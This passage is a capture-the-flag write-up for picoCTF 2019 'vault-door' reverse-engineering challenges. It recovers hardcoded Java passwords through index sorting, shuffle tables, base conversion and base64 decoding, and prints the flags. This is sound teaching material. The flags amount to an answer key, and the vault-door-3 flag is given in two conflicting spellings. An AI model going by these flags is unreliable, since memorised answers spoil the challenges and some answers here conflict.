 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">23</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'r'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">3</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'c'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">17</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'4'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">1</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'3'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">7</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'b'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">10</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'_'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">5</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'4'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">9</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'3'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">11</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'t'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">15</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'c'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">8</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'l'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">12</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'H'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">20</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'c'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">14</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'_'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">6</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'m'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">24</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'5'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">18</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'r'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">13</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'3'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">19</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'4'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">21</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'T'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">16</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'H'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">27</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'d'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">30</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'8'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">25</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'_'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">22</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'3'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">28</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'0'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">26</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'9'</span> <span class="o">&amp;&amp;</span>
 <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">31</span><span class="o">)</span> <span class="o">==</span> <span class="sc">'f'</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">checkPassword</code> still compares our input against a hardcoded string, however, this time the original plaintext version of the string has been obfuscated.
<a href="https://docs.oracle.com/javase/7/docs/api/java/lang/String.html#charAt(int)"><code class="language-plaintext highlighter-rouge">charAt(int index)</code></a> takes an integer that represents an index in the original string.</p>

<p>For example if you had <code class="language-plaintext highlighter-rouge">hello</code> and called <code class="language-plaintext highlighter-rouge">hello</code>.charAt(1) you would get <code class="language-plaintext highlighter-rouge">e</code> in return.</p>

<p>There are multiple ways to solve this and my solution is most definitely not the prettiest.
If we copy all the lines that contain <code class="language-plaintext highlighter-rouge">password.charAt...</code> into a text file called <code class="language-plaintext highlighter-rouge">parsed_output</code> we can run this bash script to get the flag.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sort</span> <span class="nt">-V</span> parsed_output | <span class="nb">cut</span> <span class="nt">-c</span> 25 | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
d35cr4mbl3_tH3_cH4r4cT3r5_9d038f%
</code></pre></div></div>

<p>In this bash script we first sort the file using the version format.
This works since in our input text we have strings that start the same and have a differing index value that can be treated as a “version-number”.
After that, we cut all the text out except the characters in the flag, and then we replace all the newline characters with a blank character.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_9d038f}</code></p>

<h1 id="vault-door-3">vault-door-3</h1>

<h2 id="problem-2">Problem</h2>

<p>This vault uses for-loops and byte arrays. The source code for this vault is here: <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/vault-door-3/VaultDoor3.java">VaultDoor3.java</a></p>

<p>Hint: Make a table that contains each value of the loop variables and the corresponding buffer index that it writes to.</p>

<h2 id="solution-2">Solution</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">checkPassword</span><span class="o">(</span><span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
 <span class="k">if</span> <span class="o">(</span><span class="n">password</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">!=</span> <span class="mi">32</span><span class="o">)</span> <span class="o">{</span>
 <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
 <span class="o">}</span>
 <span class="kt">char</span><span class="o">[]</span> <span class="n">buffer</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="o">[</span><span class="mi">32</span><span class="o">];</span>
 <span class="kt">int</span> <span class="n">i</span><span class="o">;</span>
 <span class="k">for</span> <span class="o">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="o">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">8</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
 <span class="n">buffer</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
 <span class="o">}</span>
 <span class="k">for</span> <span class="o">(;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">16</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
 <span class="n">buffer</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">23</span><span class="o">-</span><span class="n">i</span><span class="o">);</span>
 <span class="o">}</span>
 <span class="k">for</span> <span class="o">(;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">32</span><span class="o">;</span> <span class="n">i</span><span class="o">+=</span><span class="mi">2</span><span class="o">)</span> <span class="o">{</span>
 <span class="n">buffer</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">46</span><span class="o">-</span><span class="n">i</span><span class="o">);</span>
 <span class="o">}</span>
 <span class="k">for</span> <span class="o">(</span><span class="n">i</span><span class="o">=</span><span class="mi">31</span><span class="o">;</span> <span class="n">i</span><span class="o">&gt;=</span><span class="mi">17</span><span class="o">;</span> <span class="n">i</span><span class="o">-=</span><span class="mi">2</span><span class="o">)</span> <span class="o">{</span>
 <span class="n">buffer</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
 <span class="o">}</span>
 <span class="nc">String</span> <span class="n">s</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">buffer</span><span class="o">);</span>
 <span class="k">return</span> <span class="n">s</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"jU5t_a_sna_3lpm11ga4e_u_4_m9rf48"</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>As we have seen before the main program is the same and the difference is in the <code class="language-plaintext highlighter-rouge">checkPassword</code> function.
This time the function rearranges our input which needs to end up equalling <code class="language-plaintext highlighter-rouge">jU5t_a_sna_3lpm11ga4e_u_4_m9rf48</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="o">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="o">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">8</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
 <span class="n">buffer</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>We see for the first 8 characters there is no character shuffling.</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Input</th>
      <th style="text-align: center">Output</th>
      <th style="text-align: center">Character</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">0</td>
      <td style="text-align: center">0</td>
      <td style="text-align: center">j</td>
    </tr>
    <tr>
      <td style="text-align: center">1</td>
      <td style="text-align: center">1</td>
      <td style="text-align: center">U</td>
    </tr>
    <tr>
      <td style="text-align: center">2</td>
      <td style="text-align: center">2</td>
      <td style="text-align: center">5</td>
    </tr>
    <tr>
      <td style="text-align: center">3</td>
      <td style="text-align: center">3</td>
      <td style="text-align: center">t</td>
    </tr>
    <tr>
      <td style="text-align: center">4</td>
      <td style="text-align: center">4</td>
      <td style="text-align: center">_</td>
    </tr>
    <tr>
      <td style="text-align: center">5</td>
      <td style="text-align: center">5</td>
      <td style="text-align: center">a</td>
    </tr>
    <tr>
      <td style="text-align: center">6</td>
      <td style="text-align: center">6</td>
      <td style="text-align: center">_</td>
    </tr>
    <tr>
      <td style="text-align: center">7</td>
      <td style="text-align: center">7</td>
      <td style="text-align: center">s</td>
    </tr>
  </tbody>
</table>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="o">(;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">16</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
 <span class="n">buffer</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">23</span><span class="o">-</span><span class="n">i</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>However, characters 8 - 15 in the output array do NOT map to characters 8 - 15 in our original input array.
We see that they do map to <code class="language-plaintext highlighter-rouge">23 - i</code>; essentially writing the characters in reverse.
With this, we can create a table for characters 8 - 15.</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Input</th>
      <th style="text-align: center">Output</th>
      <th style="text-align: center">Character</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">8</td>
      <td style="text-align: center">15</td>
      <td style="text-align: center">1</td>
    </tr>
    <tr>
      <td style="text-align: center">9</td>
      <td style="text-align: center">14</td>
      <td style="text-align: center">m</td>
    </tr>
    <tr>
      <td style="text-align: center">10</td>
      <td style="text-align: center">13</td>
      <td style="text-align: center">p</td>
    </tr>
    <tr>
      <td style="text-align: center">11</td>
      <td style="text-align: center">12</td>
      <td style="text-align: center">l</td>
    </tr>
    <tr>
      <td style="text-align: center">12</td>
      <td style="text-align: center">11</td>
      <td style="text-align: center">3</td>
    </tr>
    <tr>
      <td style="text-align: center">13</td>
      <td style="text-align: center">10</td>
      <td style="text-align: center">_</td>
    </tr>
    <tr>
      <td style="text-align: center">14</td>
      <td style="text-align: center">9</td>
      <td style="text-align: center">a</td>
    </tr>
    <tr>
      <td style="text-align: center">15</td>
      <td style="text-align: center">8</td>
      <td style="text-align: center">n</td>
    </tr>
  </tbody>
</table>

<p>For the next chunk of characters we do this again but skip every other character.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="o">(;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">32</span><span class="o">;</span> <span class="n">i</span><span class="o">+=</span><span class="mi">2</span><span class="o">)</span> <span class="o">{</span>
 <span class="n">buffer</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="mi">46</span><span class="o">-</span><span class="n">i</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Input</th>
      <th style="text-align: center">Output</th>
      <th style="text-align: center">Character</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">16</td>
      <td style="text-align: center">30</td>
      <td style="text-align: center">4</td>
    </tr>
    <tr>
      <td style="text-align: center">18</td>
      <td style="text-align: center">28</td>
      <td style="text-align: center">r</td>
    </tr>
    <tr>
      <td style="text-align: center">20</td>
      <td style="text-align: center">26</td>
      <td style="text-align: center">m</td>
    </tr>
    <tr>
      <td style="text-align: center">22</td>
      <td style="text-align: center">24</td>
      <td style="text-align: center">4</td>
    </tr>
    <tr>
      <td style="text-align: center">24</td>
      <td style="text-align: center">22</td>
      <td style="text-align: center">u</td>
    </tr>
    <tr>
      <td style="text-align: center">26</td>
      <td style="text-align: center">20</td>
      <td style="text-align: center">e</td>
    </tr>
    <tr>
      <td style="text-align: center">28</td>
      <td style="text-align: center">18</td>
      <td style="text-align: center">a</td>
    </tr>
    <tr>
      <td style="text-align: center">30</td>
      <td style="text-align: center">16</td>
      <td style="text-align: center">1</td>
    </tr>
  </tbody>
</table>

<p>Now for the last transformation.
For this we use the characters we skipped over in the last transformation.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="o">(</span><span class="n">i</span><span class="o">=</span><span class="mi">31</span><span class="o">;</span> <span class="n">i</span><span class="o">&gt;=</span><span class="mi">17</span><span class="o">;</span> <span class="n">i</span><span class="o">-=</span><span class="mi">2</span><span class="o">)</span> <span class="o">{</span>
 <span class="n">buffer</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="n">i</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Input</th>
      <th style="text-align: center">Output</th>
      <th style="text-align: center">Character</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">31</td>
      <td style="text-align: center">31</td>
      <td style="text-align: center">8</td>
    </tr>
    <tr>
      <td style="text-align: center">29</td>
      <td style="text-align: center">29</td>
      <td style="text-align: center">f</td>
    </tr>
    <tr>
      <td style="text-align: center">27</td>
      <td style="text-align: center">27</td>
      <td style="text-align: center">9</td>
    </tr>
    <tr>
      <td style="text-align: center">25</td>
      <td style="text-align: center">25</td>
      <td style="text-align: center">_</td>
    </tr>
    <tr>
      <td style="text-align: center">23</td>
      <td style="text-align: center">23</td>
      <td style="text-align: center">_</td>
    </tr>
    <tr>
      <td style="text-align: center">21</td>
      <td style="text-align: center">21</td>
      <td style="text-align: center">_</td>
    </tr>
    <tr>
      <td style="text-align: center">19</td>
      <td style="text-align: center">19</td>
      <td style="text-align: center">4</td>
    </tr>
    <tr>
      <td style="text-align: center">17</td>
      <td style="text-align: center">17</td>
      <td style="text-align: center">g</td>
    </tr>
  </tbody>
</table>

<p>Therefore, putting all the mappings together we get out input strings should be <code class="language-plaintext highlighter-rouge">picoCTF{jU5t_a_s1mpl3_ang4r4m_4_u_e9af18}</code>.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_e9af18}</code></p>

<h1 id="vault-door-4">vault-door-4</h1>

<h2 id="problem-3">Problem</h2>

<p>This vault uses ASCII encoding for the password. The source code for this vault is here: <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/vault-door-4/VaultDoor4.java">VaultDoor4.java</a></p>

<p>Hint: Use a search engine to find an “ASCII table”.</p>

<p>Hint: You will also need to know the difference between octal, decimal, and hexadecimal numbers.</p>

<h2 id="solution-3">Solution</h2>

<p>First, let’s look at the <code class="language-plaintext highlighter-rouge">checkPassword</code> function.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">checkPassword</span><span class="o">(</span><span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
    <span class="kt">byte</span><span class="o">[]</span> <span class="n">passBytes</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">getBytes</span><span class="o">();</span>
    <span class="kt">byte</span><span class="o">[]</span> <span class="n">myBytes</span> <span class="o">=</span> <span class="o">{</span>
        <span class="mi">106</span> <span class="o">,</span> <span class="mi">85</span> <span class="o">,</span> <span class="mi">53</span> <span class="o">,</span> <span class="mi">116</span> <span class="o">,</span> <span class="mi">95</span> <span class="o">,</span> <span class="mi">52</span> <span class="o">,</span> <span class="mi">95</span> <span class="o">,</span> <span class="mi">98</span> <span class="o">,</span>
        <span class="mh">0x55</span><span class="o">,</span> <span class="mh">0x6e</span><span class="o">,</span> <span class="mh">0x43</span><span class="o">,</span> <span class="mh">0x68</span><span class="o">,</span> <span class="mh">0x5f</span><span class="o">,</span> <span class="mh">0x30</span><span class="o">,</span> <span class="mh">0x66</span><span class="o">,</span> <span class="mh">0x5f</span><span class="o">,</span>
        <span class="mo">0142</span><span class="o">,</span> <span class="mo">0131</span><span class="o">,</span> <span class="mo">0164</span><span class="o">,</span> <span class="mo">063</span> <span class="o">,</span> <span class="mo">0163</span><span class="o">,</span> <span class="mo">0137</span><span class="o">,</span> <span class="mo">070</span> <span class="o">,</span> <span class="mo">060</span> <span class="o">,</span>
        <span class="sc">'f'</span> <span class="o">,</span> <span class="sc">'8'</span> <span class="o">,</span> <span class="sc">'e'</span> <span class="o">,</span> <span class="sc">'1'</span> <span class="o">,</span> <span class="sc">'e'</span> <span class="o">,</span> <span class="sc">'0'</span> <span class="o">,</span> <span class="sc">'4'</span> <span class="o">,</span> <span class="sc">'7'</span> <span class="o">,</span>
    <span class="o">};</span>
    <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="o">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">32</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">passBytes</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">!=</span> <span class="n">myBytes</span><span class="o">[</span><span class="n">i</span><span class="o">])</span> <span class="o">{</span>
            <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
        <span class="o">}</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>We can see that there’s no array shuffling this time, thankfully.
This time it uses different ASCII representations to obscure the flag; with each line being a different representation.
The first line uses decimal values, the second line hexadecimal, the third octal, and the last plain ASCII.</p>

<p>Using Python 2 we can quickly convert this array.
Python 3’s octal format is not 0NUMBER like Java, but Python 2’s is.
Python 3 uses <code class="language-plaintext highlighter-rouge">0oNUMBER</code> like <code class="language-plaintext highlighter-rouge">0o142</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">enc</span> <span class="o">=</span> <span class="p">[</span>
 <span class="mi">106</span> <span class="p">,</span> <span class="mi">85</span> <span class="p">,</span> <span class="mi">53</span> <span class="p">,</span> <span class="mi">116</span> <span class="p">,</span> <span class="mi">95</span> <span class="p">,</span> <span class="mi">52</span> <span class="p">,</span> <span class="mi">95</span> <span class="p">,</span> <span class="mi">98</span> <span class="p">,</span>
 <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span>
 <span class="mi">0142</span><span class="p">,</span> <span class="mi">0131</span><span class="p">,</span> <span class="mi">0164</span><span class="p">,</span> <span class="mi">063</span> <span class="p">,</span> <span class="mi">0163</span><span class="p">,</span> <span class="mi">0137</span><span class="p">,</span> <span class="mi">070</span> <span class="p">,</span> <span class="mi">060</span><span class="p">]</span>
<span class="n">plain</span> <span class="o">=</span> <span class="p">[</span><span class="s">'f'</span> <span class="p">,</span> <span class="s">'8'</span> <span class="p">,</span> <span class="s">'e'</span> <span class="p">,</span> <span class="s">'1'</span> <span class="p">,</span> <span class="s">'e'</span> <span class="p">,</span> <span class="s">'0'</span> <span class="p">,</span> <span class="s">'4'</span> <span class="p">,</span> <span class="s">'7'</span><span class="p">]</span>
<span class="k">print</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">chr</span><span class="p">,</span> <span class="n">enc</span><span class="p">)</span> <span class="o">+</span> <span class="n">plain</span><span class="p">)</span>
</code></pre></div></div>

<p>Running this in Python 2 we can get our flag.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">picoCTF{jU5t_4_bUnCh_0f_bYt3s_80f8e1e047}</code>.</p>

<h1 id="vault-door-5">vault-door-5</h1>

<h2 id="problem-4">Problem</h2>

<p>In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! The source code for this vault is here: <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/vault-door-5/VaultDoor5.java">VaultDoor5.java</a></p>

<p>Hint: You may find an encoder/decoder tool helpful, such as https://encoding.tools/</p>

<p>Hint: Read the wikipedia articles on URL encoding and base 64 encoding to understand how they work and what the results look like.</p>

<h2 id="solution-4">Solution</h2>

<p>Looking at the source code this challenge is quite trivial.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">checkPassword</span><span class="o">(</span><span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
 <span class="nc">String</span> <span class="n">urlEncoded</span> <span class="o">=</span> <span class="n">urlEncode</span><span class="o">(</span><span class="n">password</span><span class="o">.</span><span class="na">getBytes</span><span class="o">());</span>
 <span class="nc">String</span> <span class="n">base64Encoded</span> <span class="o">=</span> <span class="n">base64Encode</span><span class="o">(</span><span class="n">urlEncoded</span><span class="o">.</span><span class="na">getBytes</span><span class="o">());</span>
 <span class="nc">String</span> <span class="n">expected</span> <span class="o">=</span> <span class="s">"JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"</span><span class="err">\</span>
 <span class="o">+</span> <span class="s">"JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"</span><span class="err">\</span>
 <span class="o">+</span> <span class="s">"JTM0JTVmJTY0JTYxJTM4JTM4JTMyJTY0JTMwJTMx"</span><span class="o">;</span>
 <span class="k">return</span> <span class="n">base64Encoded</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">expected</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">urlEncode</code> parses a string and converts it to the <a href="https://www.w3schools.com/tags/ref_urlencode.asp">URL Encoded</a> equivalent.
After that, it simply uses a base 64 encoding scheme on the URL encoded output.</p>

<p>Now that we know how this challenge obscures the input it is relatively easy to solve.
We can use a Python script to solve this.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span>
<span class="k">print</span><span class="p">(</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">chr</span><span class="p">,</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">expected</span><span class="p">).</span><span class="n">decode</span><span class="p">().</span><span class="n">strip</span><span class="p">(</span><span class="s">'%'</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="s">'%'</span><span class="p">)])))</span>
</code></pre></div></div>

<p>In this script, we first decode the base 64 encryption.
Following that we strip out the leading and ending percent signs, if we do not it will mess up the latter steps.
After this, we will treat the percent sign as a delimiter and split the string at each instance of one.
At this point, we now have a list of hexadecimal characters that need to be converted to their ASCII equivalents.
We first convert the string representation of the hexadecimal numbers to integers and pass them to <code class="language-plaintext highlighter-rouge">chr</code> using <code class="language-plaintext highlighter-rouge">map</code>.</p>

<p>Running the Python script we get this in return; <code class="language-plaintext highlighter-rouge">c0nv3rt1ng_fr0m_ba5e_64_da882d01</code>.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">picoCTF{c0nv3rt1ng_fr0m_ba5e_64_da882d01}</code></p>

<h1 id="vault-door-6">vault-door-6</h1>

<h2 id="problem-5">Problem</h2>

<p>This vault uses an XOR encryption scheme. The source code for this vault is here: <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/vault-door-6/VaultDoor6.java">VaultDoor6.java</a></p>

<p>Hint: If X ^ Y = Z, then Z ^ Y = X. Write a program that decrypts the flag based on this fact.</p>

<h2 id="solution-5">Solution</h2>

<p>Looking at the <code class="language-plaintext highlighter-rouge">checkPassword</code> function we see this challenge obscures the flag with a simple XOR encryption.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">checkPassword</span><span class="o">(</span><span class="nc">String</span> <span class="n">password</span><span class="o">)</span> <span class="o">{</span>
 <span class="k">if</span> <span class="o">(</span><span class="n">password</span><span class="o">.</span><span class="na">length</span><span class="o">()</span> <span class="o">!=</span> <span class="mi">32</span><span class="o">)</span> <span class="o">{</span>
 <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
 <span class="o">}</span>
 <span class="kt">byte</span><span class="o">[]</span> <span class="n">passBytes</span> <span class="o">=</span> <span class="n">password</span><span class="o">.</span><span class="na">getBytes</span><span class="o">();</span>
 <span class="kt">byte</span><span class="o">[]</span> <span class="n">myBytes</span> <span class="o">=</span> <span class="o">{</span>
